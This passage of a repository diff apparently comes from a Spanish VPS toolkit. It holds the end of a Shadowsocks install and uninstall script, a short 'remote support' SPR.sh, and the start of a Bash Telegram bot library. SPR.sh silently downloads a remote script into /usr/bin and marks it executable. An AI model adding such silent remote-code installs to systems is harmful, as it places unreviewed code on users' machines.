+        fi
+        ./autogen.sh
+        ./configure --disable-documentation
+        make
+        make install
+        if [ ! "$(command -v obfs-server)" ]; then
+            echo -e "[${red}Error${plain}] simple-obfs for ${software[${selected}-1]} install failed."
+            echo "Please visit: https://teddysun.com/486.html and contact."
+            install_cleanup
+            exit 1
+        fi
+        [ -f /usr/local/bin/obfs-server ] && ln -s /usr/local/bin/obfs-server /usr/bin
+    fi
+}
+
+install_completed_python(){
+    clear
+    ${shadowsocks_python_init} start
+    msg -bar
+    echo -e "Felicidades, ${green}${software[0]}${plain} instalación del servidor completada!"
+    echo -e "Tu Server IP        : ${red} $(get_ip) ${plain}"
+    echo -e "Tu Server Port      : ${red} ${shadowsocksport} ${plain}"
+    echo -e "Tu Password         : ${red} ${shadowsockspwd} ${plain}"
+    echo -e "Tu Encryption Method: ${red} ${shadowsockscipher} ${plain}"
+}
+
+install_completed_r(){
+    clear
+    ${shadowsocks_r_init} start
+    msg -bar
+    echo -e "Felicidades, ${green}${software[1]}${plain} instalación del servidor completada!"
+    echo -e "Tu Server IP        : ${red} $(get_ip) ${plain}"
+    echo -e "Tu Server Port      : ${red} ${shadowsocksport} ${plain}"
+    echo -e "Tu Password         : ${red} ${shadowsockspwd} ${plain}"
+    echo -e "Tu Protocol         : ${red} ${shadowsockprotocol} ${plain}"
+    echo -e "Tu obfs             : ${red} ${shadowsockobfs} ${plain}"
+    echo -e "Tu Encryption Method: ${red} ${shadowsockscipher} ${plain}"
+}
+
+install_completed_go(){
+    clear
+    ${shadowsocks_go_init} start
+    msg -bar
+    echo -e "Felicidades, ${green}${software[2]}${plain} instalación del servidor completada!"
+    echo -e "Tu Server IP        : ${red} $(get_ip) ${plain}"
+    echo -e "Tu Server Port      : ${red} ${shadowsocksport} ${plain}"
+    echo -e "Tu Password         : ${red} ${shadowsockspwd} ${plain}"
+    echo -e "Tu Encryption Method: ${red} ${shadowsockscipher} ${plain}"
+}
+
+install_completed_libev(){
+    clear
+    ldconfig
+    ${shadowsocks_libev_init} start
+    msg -bar
+    echo -e "Felicidades, ${green}${software[3]}${plain} instalación del servidor completada!"
+    echo -e "Tu Server IP        : ${red} $(get_ip) ${plain}"
+    echo -e "Tu Server Port      : ${red} ${shadowsocksport} ${plain}"
+    echo -e "Tu Password         : ${red} ${shadowsockspwd} ${plain}"
+    if [ "$(command -v obfs-server)" ]; then
+    echo -e "Tu obfs             : ${red} ${shadowsocklibev_obfs} ${plain}"
+    fi
+    echo -e "Tu Encryption Method: ${red} ${shadowsockscipher} ${plain}"
+}
+
+qr_generate_python(){
+    if [ "$(command -v qrencode)" ]; then
+        local tmp=$(echo -n "${shadowsockscipher}:${shadowsockspwd}@$(get_ip):${shadowsocksport}" | base64 -w0)
+        local qr_code="ss://${tmp}"
+        echo
+        echo "Tu QR Code: (For Shadowsocks Windows, OSX, Android and iOS clients)"
+        echo -e "${green} ${qr_code} ${plain}"
+        echo -n "${qr_code}" | qrencode -s8 -o ${cur_dir}/shadowsocks_python_qr.png
+        echo "Tu QR Code has been saved as a PNG file path:"
+        echo -e "${green} ${cur_dir}/shadowsocks_python_qr.png ${plain}"
+    fi
+}
+
+qr_generate_r(){
+    if [ "$(command -v qrencode)" ]; then
+        local tmp1=$(echo -n "${shadowsockspwd}" | base64 -w0 | sed 's/=//g;s/\//_/g;s/+/-/g')
+        local tmp2=$(echo -n "$(get_ip):${shadowsocksport}:${shadowsockprotocol}:${shadowsockscipher}:${shadowsockobfs}:${tmp1}/?obfsparam=" | base64 -w0)
+        local qr_code="ssr://${tmp2}"
+        echo
+        echo "Tu QR Code: (For ShadowsocksR Windows, Android clients only)"
+        echo -e "${green} ${qr_code} ${plain}"
+        echo -n "${qr_code}" | qrencode -s8 -o ${cur_dir}/shadowsocks_r_qr.png
+        echo "Tu QR Code has been saved as a PNG file path:"
+        echo -e "${green} ${cur_dir}/shadowsocks_r_qr.png ${plain}"
+    fi
+}
+
+qr_generate_go(){
+    if [ "$(command -v qrencode)" ]; then
+        local tmp=$(echo -n "${shadowsockscipher}:${shadowsockspwd}@$(get_ip):${shadowsocksport}" | base64 -w0)
+        local qr_code="ss://${tmp}"
+        echo
+        echo "Tu QR Code: (For Shadowsocks Windows, OSX, Android and iOS clients)"
+        echo -e "${green} ${qr_code} ${plain}"
+        echo -n "${qr_code}" | qrencode -s8 -o ${cur_dir}/shadowsocks_go_qr.png
+        echo "Tu QR Code has been saved as a PNG file path:"
+        echo -e "${green} ${cur_dir}/shadowsocks_go_qr.png ${plain}"
+    fi
+}
+
+qr_generate_libev(){
+    if [ "$(command -v qrencode)" ]; then
+        local tmp=$(echo -n "${shadowsockscipher}:${shadowsockspwd}@$(get_ip):${shadowsocksport}" | base64 -w0)
+        local qr_code="ss://${tmp}"
+        echo
+        echo "Tu QR Code: (For Shadowsocks Windows, OSX, Android and iOS clients)"
+        echo -e "${green} ${qr_code} ${plain}"
+        echo -n "${qr_code}" | qrencode -s8 -o ${cur_dir}/shadowsocks_libev_qr.png
+        echo "Tu QR Code has been saved as a PNG file path:"
+        echo -e "${green} ${cur_dir}/shadowsocks_libev_qr.png ${plain}"
+    fi
+}
+
+install_main(){
+    install_libsodium
+    if ! ldconfig -p | grep -wq "/usr/lib"; then
+        echo "/usr/lib" > /etc/ld.so.conf.d/lib.conf
+    fi
+    ldconfig
+
+    if   [ "${selected}" == "1" ]; then
+        install_shadowsocks_python
+        install_completed_python
+        qr_generate_python
+    elif [ "${selected}" == "2" ]; then
+        install_shadowsocks_r
+        install_completed_r
+        qr_generate_r
+    elif [ "${selected}" == "3" ]; then
+        install_shadowsocks_go
+        install_completed_go
+        qr_generate_go
+    elif [ "${selected}" == "4" ]; then
+        install_mbedtls
+        install_shadowsocks_libev
+        install_shadowsocks_libev_obfs
+        install_completed_libev
+        qr_generate_libev
+    fi
+
+    echo
+    echo "Visite: https://pro.sshyproxy.xyz"
+    echo
+}
+
+install_cleanup(){
+    cd ${cur_dir}
+    rm -rf simple-obfs
+    rm -rf ${libsodium_file} ${libsodium_file}.tar.gz
+    rm -rf ${mbedtls_file} ${mbedtls_file}-gpl.tgz
+    rm -rf ${shadowsocks_python_file} ${shadowsocks_python_file}.zip
+    rm -rf ${shadowsocks_r_file} ${shadowsocks_r_file}.tar.gz
+    rm -rf ${shadowsocks_go_file_64}.gz ${shadowsocks_go_file_32}.gz
+    rm -rf ${shadowsocks_libev_file} ${shadowsocks_libev_file}.tar.gz
+}
+
+install_shadowsocks(){
+    disable_selinux
+    install_select
+    install_prepare
+    install_dependencies
+    download_files
+    config_shadowsocks
+    if check_sys packageManager yum; then
+        config_firewall
+    fi
+    install_main
+    install_cleanup
+}
+
+uninstall_shadowsocks_python(){
+    printf "Estás seguro de desinstalar ${red}${software[0]}${plain}? [y/n]\n"
+    read -p "(default: n):" answer
+    [ -z ${answer} ] && answer="n"
+    if [ "${answer}" == "y" ] || [ "${answer}" == "Y" ]; then
+        ${shadowsocks_python_init} status > /dev/null 2>&1
+        if [ $? -eq 0 ]; then
+            ${shadowsocks_python_init} stop
+        fi
+        local service_name=$(basename ${shadowsocks_python_init})
+        if check_sys packageManager yum; then
+            chkconfig --del ${service_name}
+        elif check_sys packageManager apt; then
+            update-rc.d -f ${service_name} remove
+        fi
+
+        rm -fr $(dirname ${shadowsocks_python_config})
+        rm -f ${shadowsocks_python_init}
+        rm -f /var/log/shadowsocks.log
+        if [ -f /usr/local/shadowsocks_python.log ]; then
+            cat /usr/local/shadowsocks_python.log | xargs rm -rf
+            rm -f /usr/local/shadowsocks_python.log
+        fi
+        echo -e "[${green}Info${plain}] ${software[0]} uninstall success"
+    else
+        echo
+        echo -e "[${green}Info${plain}] ${software[0]} uninstall cancelled, nothing to do..."
+        echo
+    fi
+}
+
+uninstall_shadowsocks_r(){
+    printf "Estás seguro de desinstalar ${red}${software[1]}${plain}? [y/n]\n"
+    read -p "(default: n):" answer
+    [ -z ${answer} ] && answer="n"
+    if [ "${answer}" == "y" ] || [ "${answer}" == "Y" ]; then
+        ${shadowsocks_r_init} status > /dev/null 2>&1
+        if [ $? -eq 0 ]; then
+            ${shadowsocks_r_init} stop
+        fi
+        local service_name=$(basename ${shadowsocks_r_init})
+        if check_sys packageManager yum; then
+            chkconfig --del ${service_name}
+        elif check_sys packageManager apt; then
+            update-rc.d -f ${service_name} remove
+        fi
+        rm -fr $(dirname ${shadowsocks_r_config})
+        rm -f ${shadowsocks_r_init}
+        rm -f /var/log/shadowsocks.log
+        rm -fr /usr/local/shadowsocks
+        echo -e "[${green}Info${plain}] ${software[1]} uninstall success"
+    else
+        echo
+        echo -e "[${green}Info${plain}] ${software[1]} uninstall cancelled, nothing to do..."
+        echo
+    fi
+}
+
+uninstall_shadowsocks_go(){
+    printf "Estás seguro de desinstalar ${red}${software[2]}${plain}? [y/n]\n"
+    read -p "(default: n):" answer
+    [ -z ${answer} ] && answer="n"
+    if [ "${answer}" == "y" ] || [ "${answer}" == "Y" ]; then
+        ${shadowsocks_go_init} status > /dev/null 2>&1
+        if [ $? -eq 0 ]; then
+            ${shadowsocks_go_init} stop
+        fi
+        local service_name=$(basename ${shadowsocks_go_init})
+        if check_sys packageManager yum; then
+            chkconfig --del ${service_name}
+        elif check_sys packageManager apt; then
+            update-rc.d -f ${service_name} remove
+        fi
+        rm -fr $(dirname ${shadowsocks_go_config})
+        rm -f ${shadowsocks_go_init}
+        rm -f /usr/bin/shadowsocks-server
+        echo -e "[${green}Info${plain}] ${software[2]} uninstall success"
+    else
+        echo
+        echo -e "[${green}Info${plain}] ${software[2]} uninstall cancelled, nothing to do..."
+        echo
+    fi
+}
+
+uninstall_shadowsocks_libev(){
+    printf "Estás seguro de desinstalar ${red}${software[3]}${plain}? [y/n]\n"
+    read -p "(default: n):" answer
+    [ -z ${answer} ] && answer="n"
+    if [ "${answer}" == "y" ] || [ "${answer}" == "Y" ]; then
+        ${shadowsocks_libev_init} status > /dev/null 2>&1
+        if [ $? -eq 0 ]; then
+            ${shadowsocks_libev_init} stop
+        fi
+        local service_name=$(basename ${shadowsocks_libev_init})
+        if check_sys packageManager yum; then
+            chkconfig --del ${service_name}
+        elif check_sys packageManager apt; then
+            update-rc.d -f ${service_name} remove
+        fi
+        rm -fr $(dirname ${shadowsocks_libev_config})
+        rm -f /usr/local/bin/ss-local
+        rm -f /usr/local/bin/ss-tunnel
+        rm -f /usr/local/bin/ss-server
+        rm -f /usr/local/bin/ss-manager
+        rm -f /usr/local/bin/ss-redir
+        rm -f /usr/local/bin/ss-nat
+        rm -f /usr/local/bin/obfs-local
+        rm -f /usr/local/bin/obfs-server
+        rm -f /usr/local/lib/libshadowsocks-libev.a
+        rm -f /usr/local/lib/libshadowsocks-libev.la
+        rm -f /usr/local/include/shadowsocks.h
+        rm -f /usr/local/lib/pkgconfig/shadowsocks-libev.pc
+        rm -f /usr/local/share/man/man1/ss-local.1
+        rm -f /usr/local/share/man/man1/ss-tunnel.1
+        rm -f /usr/local/share/man/man1/ss-server.1
+        rm -f /usr/local/share/man/man1/ss-manager.1
+        rm -f /usr/local/share/man/man1/ss-redir.1
+        rm -f /usr/local/share/man/man1/ss-nat.1
+        rm -f /usr/local/share/man/man8/shadowsocks-libev.8
+        rm -fr /usr/local/share/doc/shadowsocks-libev
+        rm -f ${shadowsocks_libev_init}
+        echo -e "[${green}Info${plain}] ${software[3]} uninstall success"
+    else
+        echo
+        echo -e "[${green}Info${plain}] ${software[3]} uninstall cancelled, nothing to do..."
+        echo
+    fi
+}
+
+uninstall_shadowsocks(){
+    while true
+    do
+    echo  "¿Qué servidor de Shadowsocks quieres desinstalar?"
+	msg -bar
+    for ((i=1;i<=${#software[@]};i++ )); do
+        hint="${software[$i-1]}"
+        echo -e "${green}${i}${plain}) ${hint}"
+    done
+	msg -bar
+    read -p "Por favor, introduzca un número[1-4]:" un_select
+    case "${un_select}" in
+        1|2|3|4)
+        msg -bar
+        echo "Tu eliges = ${software[${un_select}-1]}"
+        msg -bar
+        break
+        ;;
+        *)
+        echo -e "[${red}Error${plain}] Please only enter a number [1-4]"
+        ;;
+    esac
+    done
+
+    if   [ "${un_select}" == "1" ]; then
+        if [ -f ${shadowsocks_python_init} ]; then
+            uninstall_shadowsocks_python
+        else
+            echo -e "[${red}Error${plain}] ${software[${un_select}-1]} not installed, please check it and try again."
+            echo
+            exit 1
+        fi
+    elif [ "${un_select}" == "2" ]; then
+        if [ -f ${shadowsocks_r_init} ]; then
+            uninstall_shadowsocks_r
+        else
+            echo -e "[${red}Error${plain}] ${software[${un_select}-1]} not installed, please check it and try again."
+            echo
+            exit 1
+        fi
+    elif [ "${un_select}" == "3" ]; then
+        if [ -f ${shadowsocks_go_init} ]; then
+            uninstall_shadowsocks_go
+        else
+            echo -e "[${red}Error${plain}] ${software[${un_select}-1]} not installed, please check it and try again."
+            echo
+            exit 1
+        fi
+    elif [ "${un_select}" == "4" ]; then
+        if [ -f ${shadowsocks_libev_init} ]; then
+            uninstall_shadowsocks_libev
+        else
+            echo -e "[${red}Error${plain}] ${software[${un_select}-1]} not installed, please check it and try again."
+            echo
+            exit 1
+        fi
+    fi
+}
+
+# Initialization step
+action=$1
+[ -z $1 ] && action=install
+case "${action}" in
+    install|uninstall)
+        ${action}_shadowsocks
+        ;;
+    *)
+        echo "Arguments error! [${action}]"
+        echo "Usage: $(basename $0) [install|uninstall]"
+        ;;
+esac

+ 5 - 0
LINKS-LIBRERIAS/SPR.sh

@@ -0,0 +1,5 @@
+#!/bin/bash
+#Soporte Remoto (SPR)
+echo "" >/dev/null 2>&1
+wget https://raw.githubusercontent.com/NetVPS/VPS-MX_Oficial/master/LINKS-LIBRERIAS/HELP.sh -O /usr/bin/SOPORTE > /dev/null 2>&1
+chmod +x /usr/bin/SOPORTE > /dev/null 2>&1

+ 6091 - 0
LINKS-LIBRERIAS/ShellBot.sh

@@ -0,0 +1,6091 @@
+#!/usr/bin/env bash
+
+#-----------------------------------------------------------------------------------------------------------
+#	DATA:				07 de Março de 2017
+#	SCRIPT:				ShellBot.sh
+#	VERSÃO:				6.4.0
+#	DESENVOLVIDO POR:	Juliano Santos [SHAMAN]
+#	PÁGINA:				http://www.shellscriptx.blogspot.com.br
+#	FANPAGE:			https://www.facebook.com/shellscriptx
+#	GITHUB:				https://github.com/shellscriptx
+# 	CONTATO:			shellscriptx@gmail.com
+#
+#	DESCRIÇÃO:			ShellBot é uma API não-oficial desenvolvida para facilitar a criação de 
+#						bots na plataforma TELEGRAM. Constituída por uma coleção de métodos
+#						e funções que permitem ao desenvolvedor:
+#
+#							* Gerenciar grupos, canais e membros.
+#							* Enviar mensagens, documentos, músicas, contatos e etc.
+#							* Enviar teclados (KeyboardMarkup e InlineKeyboard).
+#							* Obter informações sobre membros, arquivos, grupos e canais.
+#							* Para mais informações consulte a documentação:
+#							  
+#							https://github.com/shellscriptx/ShellBot/wiki
+#
+#						O ShellBot mantém o padrão da nomenclatura dos métodos registrados da
+#						API original (Telegram), assim como seus campos e valores. Os métodos
+#						requerem parâmetros e argumentos para a chamada e execução. Parâmetros
+#						obrigatórios retornam uma mensagem de erro caso o argumento seja omitido.
+#					
+#	NOTAS:				Desenvolvida na linguagem Shell Script, utilizando o interpretador de 
+#						comandos BASH e explorando ao máximo os recursos built-in do mesmo,
+#						reduzindo o nível de dependências de pacotes externos.
+#-----------------------------------------------------------------------------------------------------------
+
+[[ $_SHELLBOT_SH_ ]] && return 1
+
+if ! awk 'BEGIN { exit ARGV[1] < 4.3 }' ${BASH_VERSINFO[0]}.${BASH_VERSINFO[1]}; then
+	echo "${BASH_SOURCE:-${0##*/}}: erro: requer o interpretador de comandos 'bash 4.3' ou superior." 1>&2
+	exit 1
+fi
+
+# Informações
+readonly -A _SHELLBOT_=(
+[name]='ShellBot'
+[keywords]='Shell Script Telegram API'
+[description]='API não-oficial para criação de bots na plataforma Telegram.'
+[version]='6.4.0'
+[language]='shellscript'
+[shell]=${SHELL}
+[shell_version]=${BASH_VERSION}
+[author]='Juliano Santos [SHAMAN]'
+[email]='shellscriptx@gmail.com'
+[wiki]='https://github.com/shellscriptx/shellbot/wiki'
+[github]='https://github.com/shellscriptx/shellbot'
+[packages]='curl 7.0, getopt 2.0, jq 1.5'
+)
+
+# Verifica dependências.
+while read _pkg_ _ver_; do
+	if command -v $_pkg_ &>/dev/null; then
+		if [[ $($_pkg_ --version 2>&1) =~ [0-9]+\.[0-9]+ ]]; then
+			if ! awk 'BEGIN { exit ARGV[1] < ARGV[2] }' $BASH_REMATCH $_ver_; then
+				printf "%s: erro: requer o pacote '%s %s' ou superior.\n" ${_SHELLBOT_[name]} $_pkg_ $_ver_ 1>&2
+				exit 1
+			fi
+		else
+			printf "%s: erro: '%s' não foi possível obter a versão.\n" ${_SHELLBOT_[name]} $_pkg_ 1>&2
+			exit 1
+		fi
+	else
+		printf "%s: erro: '%s' o pacote requerido está ausente.\n" ${_SHELLBOT_[name]} $_pkg_ 1>&2
+		exit 1
+	fi
+done <<< "${_SHELLBOT_[packages]//,/$'\n'}"
+
+# bash (opções).
+shopt -s	checkwinsize			\
+			cmdhist					\
+			complete_fullquote		\
+			expand_aliases			\
+			extglob					\
+			extquote				\
+			force_fignore			\
+			histappend				\
+			interactive_comments	\
+			progcomp				\
+			promptvars				\
+			sourcepath
+
+# Desabilita a expansão de nomes de arquivos (globbing).
+set -f
+
+readonly _SHELLBOT_SH_=1					# Inicialização
+readonly _BOT_SCRIPT_=${0##*/}				# Script
+readonly _CURL_OPT_='--silent --request'	# CURL (opções)
+
+# Erros
+readonly _ERR_TYPE_BOOL_='tipo incompatível: suporta somente "true" ou "false".'
+readonly _ERR_TYPE_INT_='tipo incompatível: suporta somente inteiro.'
+readonly _ERR_TYPE_FLOAT_='tipo incompatível: suporta somente float.'
+readonly _ERR_PARAM_REQUIRED_='opção requerida: verique se o(s) parâmetro(s) ou argumento(s) obrigatório(s) estão presente(s).'
+readonly _ERR_TOKEN_UNAUTHORIZED_='não autorizado: verifique se possui permissões para utilizar o token.'
+readonly _ERR_TOKEN_INVALID_='token inválido: verique o número do token e tente novamente.'
+readonly _ERR_BOT_ALREADY_INIT_='ação não permitida: o bot já foi inicializado.'
+readonly _ERR_FILE_NOT_FOUND_='falha ao acessar: não foi possível ler o arquivo.'
+readonly _ERR_DIR_WRITE_DENIED_='permissão negada: não é possível gravar no diretório.'
+readonly _ERR_DIR_NOT_FOUND_='Não foi possível acessar: diretório não encontrado.'
+readonly _ERR_FILE_INVALID_ID_='id inválido: arquivo não encontrado.'
+readonly _ERR_UNKNOWN_='erro desconhecido: ocorreu uma falha inesperada. Reporte o problema ao desenvolvedor.'
+readonly _ERR_SERVICE_NOT_ROOT_='acesso negado: requer privilégios de root.'
+readonly _ERR_SERVICE_EXISTS_='erro ao criar o serviço: o nome do serviço já existe.'
+readonly _ERR_SERVICE_SYSTEMD_NOT_FOUND_='erro ao ativar: o sistema não possui suporte ao gerenciamento de serviços "systemd".'
+readonly _ERR_SERVICE_USER_NOT_FOUND_='usuário não encontrado: a conta de usuário informada é inválida.'
+readonly _ERR_VAR_NAME_='variável não encontrada: o identificador é inválido ou não existe.'
+readonly _ERR_FUNCTION_NOT_FOUND_='função não encontrada: o identificador especificado é inválido ou não existe.'
+readonly _ERR_ARG_='argumento inválido: o argumento não é suportado pelo parâmetro especificado.'
+readonly _ERR_RULE_ALREADY_EXISTS_='falha ao definir: o nome da regra já existe.'
+readonly _ERR_HANDLE_EXISTS_='erro ao registar: já existe um handle vinculado ao callback'
+readonly _ERR_CONNECTION_='falha de conexão: não foi possível estabelecer conexão com o Telegram.'
+
+# Maps
+declare -A _BOT_HANDLE_
+declare -A _BOT_RULES_
+declare -A return
+
+declare -i _BOT_RULES_INDEX_
+declare _VAR_INIT_
+
+Json() { local obj=$(jq -Mc "$1" <<< "${*:2}"); obj=${obj#\"}; echo "${obj%\"}"; }
+
+SetDelmValues(){ 
+	local obj=$(jq "[..|select(type == \"string\" or type == \"number\" or type == \"boolean\")|tostring]|join(\"${_BOT_DELM_/\"/\\\"}\")" <<< "$1")
+	obj=${obj#\"}; echo "${obj%\"}"
+}
+
+GetAllValues(){
+	jq '[..|select(type == "string" or type == "number" or type == "boolean")|tostring]|.[]' <<< "$1"
+}
+
+GetAllKeys(){
+	jq -r 'path(..|select(type == "string" or type == "number" or type == "boolean"))|map(if type == "number" then .|tostring|"["+.+"]" else . end)|join(".")|gsub("\\.\\[";"[")' <<< "$1"
+}
+
+FlagConv()
+{
+	local var str=$2
+
+	while [[ $str =~ \$\{([a-z_]+)\} ]]; do
+		if [[ ${BASH_REMATCH[1]} == @(${_VAR_INIT_// /|}) ]]; then
+			var=${BASH_REMATCH[1]}[$1]
+			str=${str//${BASH_REMATCH[0]}/${!var}}
+		else
+			str=${str//${BASH_REMATCH[0]}}
+		fi
+	done
+
+	echo "$str"
+}
+
+CreateLog()
+{
+	local fid fbot fname fuser lcode cid ctype 
+	local ctitle mid mdate mtext etype
+	local i fmt obj oid
+
+	for ((i=0; i < $1; i++)); do
+		
+		printf -v fmt "$_BOT_LOG_FORMAT_" || MessageError API
+		
+		# Suprimir erros.
+		exec 5<&2
+		exec 2<&-
+
+		# Objeto (tipo)
+		if 		[[ ${message_contact_phone_number[$i]:-${edited_message_contact_phone_number[$i]}}					]] ||
+				[[ ${channel_post_contact_phone_number[$i]:-${edited_channel_post_contact_phone_number[$i]}}		]]; then obj=contact
+		elif	[[ ${message_sticker_file_id[$i]:-${edited_message_sticker_file_id[$i]}}							]] ||
+				[[ ${channel_post_sticker_file_id[$i]:-${edited_channel_post_sticker_file_id[$i]}}					]]; then obj=sticker
+		elif	[[ ${message_animation_file_id[$i]:-${edited_message_animation_file_id[$i]}}						]] ||
+				[[ ${channel_post_animation_file_id[$i]:-${edited_channel_post_animation_file_id[$i]}}				]]; then obj=animation
+		elif	[[ ${message_photo_file_id[$i]:-${edited_message_photo_file_id[$i]}}								]] ||
+				[[ ${channel_post_photo_file_id[$i]:-${edited_channel_post_photo_file_id[$i]}}						]]; then obj=photo
+		elif	[[ ${message_audio_file_id[$i]:-${edited_message_audio_file_id[$i]}}								]] ||
+				[[ ${channel_post_audio_file_id[$i]:-${edited_channel_post_audio_file_id[$i]}}						]]; then obj=audio
+		elif	[[ ${message_video_file_id[$i]:-${edited_message_video_file_id[$i]}}								]] ||
+				[[ ${channel_post_video_file_id[$i]:-${edited_channel_post_video_file_id[$i]}}						]]; then obj=video
+		elif	[[ ${message_voice_file_id[$i]:-${edited_message_voice_file_id[$i]}}								]] ||
+				[[ ${channel_post_voice_file_id[$i]:-${edited_channel_post_voice_file_id[$i]}}						]]; then obj=voice
+		elif	[[ ${message_document_file_id[$i]:-${edited_message_document_file_id[$i]}}							]] ||
+				[[ ${channel_post_document_file_id[$i]:-${edited_channel_post_document_file_id[$i]}}				]]; then obj=document
+		elif	[[ ${message_venue_location_latitude[$i]:-${edited_message_venue_location_latitude[$i]}}			]] ||
+				[[ ${channel_post_venue_location_latitude[$i]-${edited_channel_post_venue_location_latitude[$i]}}	]]; then obj=venue
+		elif	[[ ${message_location_latitude[$i]:-${edited_message_location_latitude[$i]}}						]] ||
+				[[ ${channel_post_location_latitude[$i]:-${edited_channel_post_location_latitude[$i]}}				]]; then obj=location
+		elif	[[ ${message_text[$i]:-${edited_message_text[$i]}}													]] ||
+				[[ ${channel_post_text[$i]:-${edited_channel_post_text[$i]}}										]]; then obj=text
+		elif 	[[ ${callback_query_id[$i]}																			]]; then obj=callback
+		elif 	[[ ${inline_query_id[$i]}																			]]; then obj=inline
+		elif	[[ ${chosen_inline_result_result_id[$i]}															]]; then obj=chosen
+		fi
+	
+		# Objeto (id)	
+		[[ ${oid:=${message_contact_phone_number[$i]}} 				]] ||
+		[[ ${oid:=${message_sticker_file_id[$i]}}					]] ||
+		[[ ${oid:=${message_animation_file_id[$i]}}					]] ||
+		[[ ${oid:=${message_photo_file_id[$i]}}						]] ||
+		[[ ${oid:=${message_audio_file_id[$i]}}						]] ||
+		[[ ${oid:=${message_video_file_id[$i]}}						]] ||
+		[[ ${oid:=${message_voice_file_id[$i]}}						]] ||
+		[[ ${oid:=${message_document_file_id[$i]}}					]] ||
+		[[ ${oid:=${edited_message_contact_phone_number[$i]}} 		]] ||
+		[[ ${oid:=${edited_message_sticker_file_id[$i]}}			]] ||
+		[[ ${oid:=${edited_message_animation_file_id[$i]}}			]] ||
+		[[ ${oid:=${edited_message_photo_file_id[$i]}}				]] ||
+		[[ ${oid:=${edited_message_audio_file_id[$i]}}				]] ||
+		[[ ${oid:=${edited_message_video_file_id[$i]}}				]] ||
+		[[ ${oid:=${edited_message_voice_file_id[$i]}}				]] ||
+		[[ ${oid:=${edited_message_document_file_id[$i]}}			]] ||
+		[[ ${oid:=${channel_post_contact_phone_number[$i]}} 		]] ||
+		[[ ${oid:=${channel_post_sticker_file_id[$i]}}				]] ||
+		[[ ${oid:=${channel_post_animation_file_id[$i]}}			]] ||
+		[[ ${oid:=${channel_post_photo_file_id[$i]}}				]] ||
+		[[ ${oid:=${channel_post_audio_file_id[$i]}}				]] ||
+		[[ ${oid:=${channel_post_video_file_id[$i]}}				]] ||
+		[[ ${oid:=${channel_post_voice_file_id[$i]}}				]] ||
+		[[ ${oid:=${channel_post_document_file_id[$i]}}				]] ||
+		[[ ${oid:=${edited_channel_post_contact_phone_number[$i]}} 	]] ||
+		[[ ${oid:=${edited_channel_post_sticker_file_id[$i]}}		]] ||
+		[[ ${oid:=${edited_channel_post_animation_file_id[$i]}}		]] ||
+		[[ ${oid:=${edited_channel_post_photo_file_id[$i]}}			]] ||
+		[[ ${oid:=${edited_channel_post_audio_file_id[$i]}}			]] ||
+		[[ ${oid:=${edited_channel_post_video_file_id[$i]}}			]] ||
+		[[ ${oid:=${edited_channel_post_voice_file_id[$i]}}			]] ||
+		[[ ${oid:=${edited_channel_post_document_file_id[$i]}}		]] ||
+		[[ ${oid:=${message_message_id[$i]}}						]] ||
+		[[ ${oid:=${edited_message_message_id[$i]}}					]] ||
+		[[ ${oid:=${channel_post_message_id[$i]}}					]] ||
+		[[ ${oid:=${edited_channel_post_message_id[$i]}}			]] ||
+		[[ ${oid:=${callback_query_id[$i]}}							]] ||
+		[[ ${oid:=${inline_query_id[$i]}} 							]] ||
+		[[ ${oid:=${chosen_inline_result_result_id[$i]}}			]]
+
+		# Remetente (id)
+		[[ ${fid:=${message_from_id[$i]}}				]] ||
+		[[ ${fid:=${edited_message_from_id[$i]}} 		]] ||
+		[[ ${fid:=${callback_query_from_id[$i]}} 		]] ||
+		[[ ${fid:=${inline_query_from_id[$i]}} 			]] ||
+		[[ ${fid:=${chosen_inline_result_from_id[$i]}} 	]]
+
+		# Bot
+		[[ ${fbot:=${message_from_is_bot[$i]}} 				]] ||
+		[[ ${fbot:=${edited_message_from_is_bot[$i]}} 		]] ||
+		[[ ${fbot:=${callback_query_from_is_bot[$i]}} 		]] ||
+		[[ ${fbot:=${inline_query_from_is_bot[$i]}} 		]] ||
+		[[ ${fbot:=${chosen_inline_result_from_is_bot[$i]}} ]]
+
+		# Usuário (nome)
+		[[ ${fname:=${message_from_first_name[$i]}} 				]] ||
+		[[ ${fname:=${edited_message_from_first_name[$i]}}			]] ||
+		[[ ${fname:=${callback_query_from_first_name[$i]}} 			]] ||
+		[[ ${fname:=${inline_query_from_first_name[$i]}}			]] ||
+		[[ ${fname:=${chosen_inline_result_from_first_name[$i]}}	]] ||
+		[[ ${fname:=${channel_post_author_signature[$i]}}			]] ||
+		[[ ${fname:=${edited_channel_post_author_signature[$i]}}	]]
+
+		# Usuário (conta)
+		[[ ${fuser:=${message_from_username[$i]}}				]] ||
+		[[ ${fuser:=${edited_message_from_username[$i]}} 		]] ||
+		[[ ${fuser:=${callback_query_from_username[$i]}} 		]] ||
+		[[ ${fuser:=${inline_query_from_username[$i]}} 			]] ||
+		[[ ${fuser:=${chosen_inline_result_from_username[$i]}} 	]]
+
+		# Idioma
+		[[ ${lcode:=${message_from_language_code[$i]}} 				]] ||
+		[[ ${lcode:=${edited_message_from_language_code[$i]}} 		]] ||
+		[[ ${lcode:=${callback_query_from_language_code[$i]}} 		]] ||
+		[[ ${lcode:=${inline_query_from_language_code[$i]}} 		]] ||
+		[[ ${lcode:=${chosen_inline_result_from_language_code[$i]}}	]]
+
+		# Bate-papo (id)
+		[[ ${cid:=${message_chat_id[$i]}}					]] ||
+		[[ ${cid:=${edited_message_chat_id[$i]}}			]] ||
+		[[ ${cid:=${callback_query_message_chat_id[$i]}} 	]] ||
+		[[ ${cid:=${channel_post_chat_id[$i]}}				]] ||
+		[[ ${cid:=${edited_channel_post_chat_id[$i]}}		]]
+
+		# Bate-papo (tipo)
+		[[ ${ctype:=${message_chat_type[$i]}} 					]] ||
+		[[ ${ctype:=${edited_message_chat_type[$i]}} 			]] ||
+		[[ ${ctype:=${callback_query_message_chat_type[$i]}} 	]] ||
+		[[ ${ctype:=${channel_post_chat_type[$i]}}				]] ||
+		[[ ${ctype:=${edited_channel_post_chat_type[$i]}}		]]
+
+		# Bate-papo (título)
+		[[ ${ctitle:=${message_chat_title[$i]}}					]] ||
+		[[ ${ctitle:=${edited_message_chat_title[$i]}} 			]] ||
+		[[ ${ctitle:=${callback_query_message_chat_title[$i]}} 	]] ||
+		[[ ${ctitle:=${channel_post_chat_title[$i]}}			]] ||
+		[[ ${ctitle:=${edited_channel_post_chat_title[$i]}}		]]
+
+		# Mensagem (id)
+		[[ ${mid:=${message_message_id[$i]}} 				]] ||
+		[[ ${mid:=${edited_message_message_id[$i]}} 		]] ||
+		[[ ${mid:=${callback_query_id[$i]}} 				]] ||
+		[[ ${mid:=${inline_query_id[$i]}} 					]] ||
